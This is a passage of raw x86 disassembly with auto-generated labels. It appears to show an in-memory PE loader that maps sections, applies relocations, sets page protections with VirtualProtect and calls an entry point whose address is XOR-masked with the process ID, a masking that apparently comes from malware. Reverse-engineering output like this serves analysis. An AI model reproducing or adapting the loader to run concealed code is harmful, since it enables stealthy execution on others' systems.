sub_505456+269j mov eax, [ebp+var_30] mov [ebp+var_60], eax push [ebp+var_60] call sub_5083DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_5056DC: ; CODE XREF: sub_505456+75j ; sub_505456+D7j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_505456 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5056EB proc near ; CODE XREF: sub_5061E1+969p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push 0 push [ebp+arg_0] call sub_5092CA pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax jmp short loc_50570F ; --------------------------------------------------------------------------- loc_505708: ; CODE XREF: sub_5056EB+40j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_50570F: ; CODE XREF: sub_5056EB+1Bj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_50572D mov eax, [ebp+var_8] movsx eax, byte ptr [eax] push eax call sub_4FC86E pop ecx mov ecx, [ebp+var_8] mov [ecx], al jmp short loc_505708 ; --------------------------------------------------------------------------- loc_50572D: ; CODE XREF: sub_5056EB+2Cj push 0Ch call sub_50835A pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_8] mov [eax+8], ecx mov eax, [ebp+var_C] leave retn sub_5056EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50575D proc near ; CODE XREF: sub_504AB0+9Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push 0 push [ebp+arg_4] call sub_5092CA pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax jmp short loc_505781 ; --------------------------------------------------------------------------- loc_50577A: ; CODE XREF: sub_50575D+40j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_505781: ; CODE XREF: sub_50575D+1Bj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_50579F mov eax, [ebp+var_8] movsx eax, byte ptr [eax] push eax call sub_4FC86E pop ecx mov ecx, [ebp+var_8] mov [ecx], al jmp short loc_50577A ; --------------------------------------------------------------------------- loc_50579F: ; CODE XREF: sub_50575D+2Cj ; sub_50575D:loc_505818j cmp [ebp+arg_0], 0 jz short loc_50581A mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+arg_0], eax mov eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_C] mov eax, [eax] mov [ebp+var_14], eax loc_5057C2: ; CODE XREF: sub_50575D+97j mov eax, [ebp+var_14] mov al, [eax] mov [ebp+var_15], al mov ecx, [ebp+var_10] cmp al, [ecx] jnz short loc_5057FC cmp [ebp+var_15], 0 jz short loc_5057F6 mov eax, [ebp+var_14] mov al, [eax+1] mov [ebp+var_16], al mov ecx, [ebp+var_10] cmp al, [ecx+1] jnz short loc_5057FC add [ebp+var_14], 2 add [ebp+var_10], 2 cmp [ebp+var_16], 0 jnz short loc_5057C2 loc_5057F6: ; CODE XREF: sub_50575D+78j and [ebp+var_1C], 0 jmp short loc_505804 ; --------------------------------------------------------------------------- loc_5057FC: ; CODE XREF: sub_50575D+72j ; sub_50575D+89j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_1C], eax loc_505804: ; CODE XREF: sub_50575D+9Dj mov eax, [ebp+var_1C] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_505818 mov eax, [ebp+var_C] mov eax, [eax+4] jmp short locret_50581C ; --------------------------------------------------------------------------- loc_505818: ; CODE XREF: sub_50575D+B1j jmp short loc_50579F ; --------------------------------------------------------------------------- loc_50581A: ; CODE XREF: sub_50575D+46j xor eax, eax locret_50581C: ; CODE XREF: sub_50575D+B9j leave retn sub_50575D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50581E proc near ; CODE XREF: sub_5058CF+86p ; sub_5061E1+D8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_8], 0 and [ebp+var_4], 0 movzx eax, ds:byte_511694 test eax, eax jnz short loc_50587C push offset dword_510C88 lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_501AE2 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_505863 push offset dword_510C88 lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_5019D2 mov [ebp+var_8], eax loc_505863: ; CODE XREF: sub_50581E+30j cmp [ebp+var_8], 0 jnz short loc_50587C mov eax, [ebp+var_4] mov [ebp+var_C], eax push [ebp+var_C] call sub_5083DD pop ecx and [ebp+var_4], 0 loc_50587C: ; CODE XREF: sub_50581E+17j ; sub_50581E+49j cmp [ebp+arg_4], 0 jz short loc_50588C mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx jmp short loc_50589B ; --------------------------------------------------------------------------- loc_50588C: ; CODE XREF: sub_50581E+62j mov eax, [ebp+var_4] mov [ebp+var_10], eax push [ebp+var_10] call sub_5083DD pop ecx loc_50589B: ; CODE XREF: sub_50581E+6Cj mov eax, [ebp+var_8] leave retn sub_50581E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5058A0 proc near ; CODE XREF: sub_505BD7+41p ; sub_505BD7+37Cp ... push ebp mov ebp, esp cmp ds:dword_51195C, 0 jnz short loc_5058C2 push offset aKernel32_dll_0 ; "kernel32.dll" push offset aGetcurrentpr_0 ; "GetCurrentProcessId" call sub_509C22 pop ecx pop ecx mov ds:dword_51195C, eax loc_5058C2: ; CODE XREF: sub_5058A0+Aj call ds:dword_51195C xor eax, 0CABEFA10h pop ebp retn sub_5058A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5058CF proc near ; CODE XREF: sub_505AD2+Cp ; sub_50AF8C+2Bp var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 34h mov [ebp+var_34], dl mov [ebp+var_30], ecx push offset sub_50BB0D push ds:dword_5117C0 push [ebp+var_30] mov ecx, ds:dword_511954 call sub_50B891 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_50594E movzx eax, [ebp+var_34] test eax, eax jz short loc_505946 push 400h call sub_50835A pop ecx mov [ebp+var_1C], eax mov eax, [ebp+var_1C] mov [ebp+var_10], eax push 400h push [ebp+var_10] push [ebp+var_C] call ds:dword_511714 ; GetModuleFileNameA test eax, eax jz short loc_505937 push [ebp+var_10] call ds:dword_51175C ; LoadLibraryA loc_505937: ; CODE XREF: sub_5058CF+5Dj mov eax, [ebp+var_10] mov [ebp+var_20], eax push [ebp+var_20] call sub_5083DD pop ecx loc_505946: ; CODE XREF: sub_5058CF+34j mov eax, [ebp+var_C] jmp locret_505A3F ; --------------------------------------------------------------------------- loc_50594E: ; CODE XREF: sub_5058CF+2Cj push 0 push 0 push [ebp+var_30] call sub_50581E add esp, 0Ch mov [ebp+var_8], eax and [ebp+var_4], 0 cmp [ebp+var_8], 0 jz short loc_5059B3 push 0 push 0 push [ebp+var_8] call sub_508892 add esp, 0Ch mov [ebp+var_14], eax push [ebp+var_14] call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_50599F movzx eax, [ebp+var_34] test eax, eax jz short loc_50599F push [ebp+var_14] call ds:dword_51175C ; LoadLibraryA loc_50599F: ; CODE XREF: sub_5058CF+BDj ; sub_5058CF+C5j mov eax, [ebp+var_14] mov [ebp+var_24], eax push [ebp+var_24] call sub_5083DD pop ecx jmp loc_505A3C ; --------------------------------------------------------------------------- loc_5059B3: ; CODE XREF: sub_5058CF+99j push [ebp+var_30] call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_505A3C movzx eax, [ebp+var_34] test eax, eax jz short loc_505A3C push 400h call sub_50835A pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_18], eax push 400h push [ebp+var_18] push [ebp+var_4] call ds:dword_511714 ; GetModuleFileNameA test eax, eax jz short loc_5059FF push [ebp+var_18] call ds:dword_51175C ; LoadLibraryA loc_5059FF: ; CODE XREF: sub_5058CF+125j mov eax, [ebp+var_18] mov [ebp+var_2C], eax push [ebp+var_2C] call sub_5083DD pop ecx push [ebp+var_30] push [ebp+var_4] call sub_505070 test eax, eax jnz short loc_505A3C call ds:dword_511710 ; RtlGetLastWin32Error test eax, eax jnz short loc_505A2F push 7Eh call ds:dword_51178C ; RtlRestoreLastWin32Error loc_505A2F: ; CODE XREF: sub_5058CF+156j push [ebp+var_4] call ds:dword_5116E0 ; FreeLibrary and [ebp+var_4], 0 loc_505A3C: ; CODE XREF: sub_5058CF+DFj ; sub_5058CF+F4j ... mov eax, [ebp+var_4] locret_505A3F: ; CODE XREF: sub_5058CF+7Aj leave retn sub_5058CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_505A41 proc near ; CODE XREF: sub_50B076+4Ep var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00505AC3 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E488 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi mov [ebp+var_28], ecx push 105h call sub_50835A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_1C], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_1C] rep stosd stosb and [ebp+var_4], 0 push 104h push [ebp+var_1C] push [ebp+var_28] call ds:dword_511714 ; GetModuleFileNameA push [ebp+var_1C] push [ebp+var_28] call sub_505070 or [ebp+var_4], 0FFFFFFFFh call sub_505AB3 jmp short loc_505AC3 sub_505A41 endp ; =============== S U B R O U T I N E ======================================= sub_505AB3 proc near ; CODE XREF: sub_505A41+6Bp ; DATA XREF: _6:0050E490o mov eax, [ebp-1Ch] mov [ebp-24h], eax push dword ptr [ebp-24h] call sub_5083DD pop ecx retn sub_505AB3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_505A41 loc_505AC3: ; CODE XREF: sub_505A41+70j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_505A41 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_505AD2 proc near ; CODE XREF: sub_50AE2D+19p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov dl, 1 mov ecx, [ebp+var_4] call sub_5058CF leave retn sub_505AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_505AE5 proc near ; CODE XREF: sub_5061E1+5DBp ; sub_5061E1+60Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_505B05 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] sub eax, [ebp+var_4] jmp short locret_505B08 ; --------------------------------------------------------------------------- loc_505B05: ; CODE XREF: sub_505AE5+13j mov eax, [ebp+arg_0] locret_505B08: ; CODE XREF: sub_505AE5+1Ej leave retn sub_505AE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_505B0A proc near ; CODE XREF: sub_505BD7+16Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] add eax, [ebp+arg_8] mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+arg_8] add eax, [ebp+arg_C] mov [ebp+var_8], eax loc_505B25: ; CODE XREF: sub_505B0A:loc_505BD0j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb locret_505BD5 mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_14], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] sub eax, 8 mov [ebp+var_10], eax mov eax, [ebp+var_4] add eax, [ebp+var_10] mov [ebp+var_C], eax loc_505B65: ; CODE XREF: sub_505B0A+8Bj ; sub_505B0A+C4j mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_505BD0 mov eax, [ebp+var_4] movzx eax, word ptr [eax] and eax, 0FFFh mov [ebp+var_24], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_1C], eax mov eax, [ebp+var_4] inc eax inc eax mov [ebp+var_4], eax cmp [ebp+var_1C], 0 jnz short loc_505B97 jmp short loc_505B65 ; --------------------------------------------------------------------------- loc_505B97: ; CODE XREF: sub_505B0A+89j cmp [ebp+var_1C], 3 jz short loc_505BA7 mov ecx, 0EF000016h call sub_508342 loc_505BA7: ; CODE XREF: sub_505B0A+91j mov eax, [ebp+arg_0] add eax, [ebp+var_14] add eax, [ebp+var_24] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] sub ecx, [eax+34h] mov eax, [ebp+var_20] mov eax, [eax] add eax, ecx mov [ebp+var_18], eax mov eax, [ebp+var_20] mov ecx, [ebp+var_18] mov [eax], ecx jmp short loc_505B65 ; --------------------------------------------------------------------------- loc_505BD0: ; CODE XREF: sub_505B0A+61j jmp loc_505B25 ; --------------------------------------------------------------------------- locret_505BD5: ; CODE XREF: sub_505B0A+21j leave retn sub_505B0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_505BD7 proc near ; DATA XREF: sub_5061E1+C01o var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_74 = dword ptr -74h var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 00506113 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00506128 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E498 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 7Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 and [ebp+var_4], 0 cmp [ebp+arg_10], 1 jnz loc_505F4D mov [ebp+var_4], 1 call sub_5058A0 mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx mov eax, [ebp+arg_C] mov [ebp+var_24], eax mov eax, [ebp+var_24] mov ecx, [ebp+var_24] add ecx, [eax+3Ch] mov [ebp+var_40], ecx mov eax, [ebp+var_40] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_40] lea eax, [ecx+eax+18h] mov [ebp+var_34], eax mov eax, [ebp+var_40] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_34] lea eax, [ecx+eax-28h] mov [ebp+var_28], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+34h] mov [ebp+var_44], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+38h] mov [ebp+var_2C], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+3Ch] mov [ebp+var_30], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+40h] mov [ebp+var_38], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] lea eax, [ecx+eax+44h] mov [ebp+var_3C], eax jmp short loc_505CB7 ; --------------------------------------------------------------------------- loc_505CAE: ; CODE XREF: sub_505BD7:loc_505D2Aj mov eax, [ebp+var_34] add eax, 28h mov [ebp+var_34], eax loc_505CB7: ; CODE XREF: sub_505BD7+D5j mov eax, [ebp+var_34] cmp eax, [ebp+var_28] jnb short loc_505D2C mov eax, [ebp+var_3C] mov eax, [eax] mov [ebp+var_50], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov eax, [eax] mov [ebp+var_4C], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax push 0 push 0 push [ebp+var_50] push [ebp+arg_0] call sub_500421 lea eax, [ebp+var_48] push eax push 0 push 0 push [ebp+var_4C] mov eax, [ebp+var_34] mov ecx, [ebp+var_24] add ecx, [eax+0Ch] push ecx push [ebp+arg_0] call sub_501177 test eax, eax jz short loc_505D20 cmp [ebp+var_48], 0 jnz short loc_505D2A loc_505D20: ; CODE XREF: sub_505BD7+141j mov ecx, 0EF00000Fh call sub_508342 loc_505D2A: ; CODE XREF: sub_505BD7+147j jmp short loc_505CAE ; --------------------------------------------------------------------------- loc_505D2C: ; CODE XREF: sub_505BD7+E6j mov eax, [ebp+var_40] mov eax, [eax+34h] cmp eax, [ebp+var_24] jz short loc_505D4B push [ebp+var_2C] push [ebp+var_44] push [ebp+var_40] push [ebp+var_24] call sub_505B0A add esp, 10h loc_505D4B: ; CODE XREF: sub_505BD7+15Ej push 5Ch push [ebp+arg_4] call sub_4FC700 pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_505D68 mov eax, [ebp+arg_4] mov [ebp+var_20], eax jmp short loc_505D6F ; --------------------------------------------------------------------------- loc_505D68: ; CODE XREF: sub_505BD7+187j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_505D6F: ; CODE XREF: sub_505BD7+18Fj cmp [ebp+var_30], 0 jz short loc_505D97 mov eax, [ebp+var_24] add eax, [ebp+var_30] mov [ebp+var_54], eax push [ebp+var_38] push 1 push [ebp+var_20] push [ebp+var_40] push [ebp+var_24] push [ebp+var_54] call sub_504D70 add esp, 18h loc_505D97: ; CODE XREF: sub_505BD7+19Cj mov eax, ds:dword_511954 mov [ebp+var_74], eax cmp [ebp+var_74], 0 jz short loc_505DB8 mov eax, [ebp+var_74] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_78], 1 jmp short loc_505DBC ; --------------------------------------------------------------------------- loc_505DB8: ; CODE XREF: sub_505BD7+1CCj and [ebp+var_78], 0 loc_505DBC: ; CODE XREF: sub_505BD7+1DFj movzx eax, [ebp+var_78] test eax, eax jz short loc_505DFB push offset sub_50BB0D push ds:dword_5117C0 push [ebp+arg_C] push [ebp+var_20] mov ecx, ds:dword_511954 call sub_50B9B1 mov eax, ds:dword_511954 mov [ebp+var_7C], eax cmp [ebp+var_7C], 0 jz short loc_505DFB mov eax, [ebp+var_7C] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection loc_505DFB: ; CODE XREF: sub_505BD7+1EBj ; sub_505BD7+215j push [ebp+arg_4] push [ebp+arg_C] mov ecx, ds:dword_51194C call sub_50B98E cmp ds:dword_511680, 2 jb loc_505F35 mov eax, [ebp+var_40] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_40] lea eax, [ecx+eax+18h] mov [ebp+var_34], eax and [ebp+var_58], 0 lea eax, [ebp+var_58] push eax push 4 mov eax, [ebp+var_28] sub eax, [ebp+var_34] cdq push 28h pop ecx idiv ecx push eax push [ebp+var_34] call ds:dword_5117AC ; VirtualProtect mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] lea eax, [ecx+eax+44h] mov [ebp+var_3C], eax jmp short loc_505E65 ; --------------------------------------------------------------------------- loc_505E5C: ; CODE XREF: sub_505BD7+32Bj mov eax, [ebp+var_34] add eax, 28h mov [ebp+var_34], eax loc_505E65: ; CODE XREF: sub_505BD7+283j mov eax, [ebp+var_34] cmp eax, [ebp+var_28] jnb loc_505F07 mov eax, [ebp+var_3C] add eax, 8 mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov eax, [eax] mov [ebp+var_60], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax mov eax, [ebp+var_34] mov ecx, [ebp+var_60] mov [eax+24h], ecx and [ebp+var_5C], 0 mov eax, [ebp+var_60] and eax, 20000000h test eax, eax jz short loc_505EC2 mov eax, [ebp+var_60] and eax, 80000000h test eax, eax jz short loc_505EB9 mov [ebp+var_5C], 40h jmp short loc_505EC0 ; --------------------------------------------------------------------------- loc_505EB9: ; CODE XREF: sub_505BD7+2D7j mov [ebp+var_5C], 20h loc_505EC0: ; CODE XREF: sub_505BD7+2E0j jmp short loc_505EDE ; --------------------------------------------------------------------------- loc_505EC2: ; CODE XREF: sub_505BD7+2CBj mov eax, [ebp+var_60] and eax, 80000000h test eax, eax jz short loc_505ED7 mov [ebp+var_5C], 4 jmp short loc_505EDE ; --------------------------------------------------------------------------- loc_505ED7: ; CODE XREF: sub_505BD7+2F5j mov [ebp+var_5C], 2 loc_505EDE: ; CODE XREF: sub_505BD7:loc_505EC0j ; sub_505BD7+2FEj lea eax, [ebp+var_60] push eax push [ebp+var_5C] mov eax, [ebp+var_34] mov ecx, [ebp+var_34] mov eax, [eax+34h] sub eax, [ecx+0Ch] push eax mov eax, [ebp+var_34] mov ecx, [ebp+var_24] add ecx, [eax+0Ch] push ecx call ds:dword_5117AC ; VirtualProtect jmp loc_505E5C ; --------------------------------------------------------------------------- loc_505F07: ; CODE XREF: sub_505BD7+294j mov eax, [ebp+var_40] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_40] lea eax, [ecx+eax+18h] mov [ebp+var_34], eax lea eax, [ebp+var_58] push eax push [ebp+var_58] mov eax, [ebp+var_28] sub eax, [ebp+var_34] cdq push 28h pop ecx idiv ecx push eax push [ebp+var_34] call ds:dword_5117AC ; VirtualProtect loc_505F35: ; CODE XREF: sub_505BD7+23Cj and [ebp+var_4], 0 jmp short loc_505F4B ; --------------------------------------------------------------------------- loc_505F3B: ; DATA XREF: _6:0050E4A8o push [ebp+var_14] call sub_508C27 retn ; --------------------------------------------------------------------------- loc_505F44: ; DATA XREF: _6:0050E4ACo mov esp, [ebp+var_18] and [ebp+var_4], 0 loc_505F4B: ; CODE XREF: sub_505BD7+362j jmp short loc_505F6F ; --------------------------------------------------------------------------- loc_505F4D: ; CODE XREF: sub_505BD7+34j cmp [ebp+arg_10], 0 jnz short loc_505F62 call sub_5058A0 mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx jmp short loc_505F6F ; --------------------------------------------------------------------------- loc_505F62: ; CODE XREF: sub_505BD7+37Aj call sub_5058A0 mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx loc_505F6F: ; CODE XREF: sub_505BD7:loc_505F4Bj ; sub_505BD7+389j cmp [ebp+arg_8], 0 jz loc_506115 mov eax, [ebp+arg_C] add eax, [ebp+arg_8] mov [ebp+var_64], eax mov ds:dword_511928, 0FFFFFFFEh mov eax, ds:dword_511960 mov [ebp+var_68], eax mov [ebp+var_4], 2 pushaw mov ds:dword_511960, esp mov eax, [ebp+arg_14] push eax mov eax, [ebp+arg_10] push eax mov eax, [ebp+arg_C] push eax call [ebp+var_64] mov ds:dword_511928, eax mov esp, ds:dword_511960 popaw and [ebp+var_4], 0 call sub_505FCD jmp loc_506113 sub_505BD7 endp ; =============== S U B R O U T I N E ======================================= sub_505FCD proc near ; CODE XREF: sub_505BD7+3ECp ; DATA XREF: _6:0050E4B8o mov eax, [ebp-68h] mov ds:dword_511960, eax cmp dword ptr [ebp+18h], 0 jnz loc_5060F6 mov eax, ds:dword_51194C mov [ebp-80h], eax cmp dword ptr [ebp-80h], 0 jz short loc_506003 mov eax, [ebp-80h] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov byte ptr [ebp-84h], 1 jmp short loc_50600A ; --------------------------------------------------------------------------- loc_506003: ; CODE XREF: sub_505FCD+1Ej and byte ptr [ebp-84h], 0 loc_50600A: ; CODE XREF: sub_505FCD+34j movzx eax, byte ptr [ebp-84h] test eax, eax jz short loc_506047 push dword ptr [ebp+14h] mov ecx, ds:dword_51194C call sub_50B8E0 mov eax, ds:dword_51194C mov [ebp-88h], eax cmp dword ptr [ebp-88h], 0 jz short loc_506047 mov eax, [ebp-88h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection loc_506047: ; CODE XREF: sub_505FCD+46j ; sub_505FCD+68j push 5Ch push dword ptr [ebp+0Ch] call sub_4FC700 pop ecx pop ecx mov [ebp-6Ch], eax cmp dword ptr [ebp-6Ch], 0 jnz short loc_506064 mov eax, [ebp+0Ch] mov [ebp-6Ch], eax jmp short loc_50606B ; --------------------------------------------------------------------------- loc_506064: ; CODE XREF: sub_505FCD+8Dj mov eax, [ebp-6Ch] inc eax mov [ebp-6Ch], eax loc_50606B: ; CODE XREF: sub_505FCD+95j mov eax, ds:dword_511954 mov [ebp-8Ch], eax cmp dword ptr [ebp-8Ch], 0 jz short loc_506098 mov eax, [ebp-8Ch] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov byte ptr [ebp-90h], 1 jmp short loc_50609F ; --------------------------------------------------------------------------- loc_506098: ; CODE XREF: sub_505FCD+B0j and byte ptr [ebp-90h], 0 loc_50609F: ; CODE XREF: sub_505FCD+C9j movzx eax, byte ptr [ebp-90h] test eax, eax jz short loc_5060E7 push offset sub_50BB0D push ds:dword_5117C0 push dword ptr [ebp-6Ch] mov ecx, ds:dword_511954 call sub_50B900 mov eax, ds:dword_511954 mov [ebp-94h], eax cmp dword ptr [ebp-94h], 0 jz short loc_5060E7 mov eax, [ebp-94h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection loc_5060E7: ; CODE XREF: sub_505FCD+DBj ; sub_505FCD+108j mov eax, [ebp+0Ch] mov [ebp-70h], eax push dword ptr [ebp-70h] call sub_5083DD pop ecx loc_5060F6: ; CODE XREF: sub_505FCD+Cj mov eax, ds:dword_511928 mov [ebp-1Ch], eax mov ds:dword_511928, 0FFFFFFFEh cmp dword ptr [ebp-1Ch], 0FFFFFFFEh jnz short locret_506112 and dword ptr [ebp-1Ch], 0 locret_506112: ; CODE XREF: sub_505FCD+13Fj retn sub_505FCD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_505BD7 loc_506113: ; CODE XREF: sub_505BD7+3F1j jmp short loc_50611C ; --------------------------------------------------------------------------- loc_506115: ; CODE XREF: sub_505BD7+39Cj mov [ebp+var_1C], 1 loc_50611C: ; CODE XREF: sub_505BD7:loc_506113j or [ebp+var_4], 0FFFFFFFFh call nullsub_2 jmp short loc_506128 ; END OF FUNCTION CHUNK FOR sub_505BD7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_505BD7 loc_506128: ; CODE XREF: sub_505BD7+54Ej mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_505BD7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50613C proc near ; CODE XREF: sub_504DC0+23Cp ; sub_504DC0:loc_50501Ap push ebp mov ebp, esp xor eax, eax 